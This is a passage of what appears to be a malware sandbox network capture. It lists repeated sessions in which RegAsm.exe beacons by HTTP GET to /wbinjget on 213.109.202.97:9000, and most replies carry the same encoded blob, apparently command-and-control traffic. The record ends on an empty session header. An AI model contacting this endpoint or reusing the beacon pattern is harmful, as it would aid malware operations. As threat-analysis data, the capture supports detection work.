Oct 19, 2024 03:37:16.181871891 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:15 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:16.294681072 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:37:17.170995951 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:16 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:17.293705940 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:37:18.164354086 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:18 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49713	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:18.320262909 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:19.192869902 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:19 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49716	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:19.310204983 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49749	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:27.817480087 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:37:28.688411951 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:27 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49754	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:28.809340954 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:29.954859018 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:29 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49761	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:30.075354099 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:30.968966007 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:30 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49767	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:31.090965986 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:31.986859083 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:31 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49773	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:32.107264996 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:33.029844046 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:32 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49782	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:33.153167963 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:34.037733078 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:33 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49789	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:34.153791904 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:35.074527979 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:34 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49795	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:35.184922934 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:36.072113037 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:34 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49801	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:36.243294001 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:37.149096966 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:36 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49807	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:37.263037920 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:38.140011072 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:37 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49813	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:38.248802900 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:39.139487028 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:38 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49819	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:39.247529030 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:40.139044046 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:39 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49825	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:40.247807980 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:41.167418957 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:40 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49831	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:41.278364897 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:42.147996902 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:41 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49840	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:42.262892962 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:43.124397993 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:42 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49848	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:37:43.247174978 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:37:44.144614935 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:37:43 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49854	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
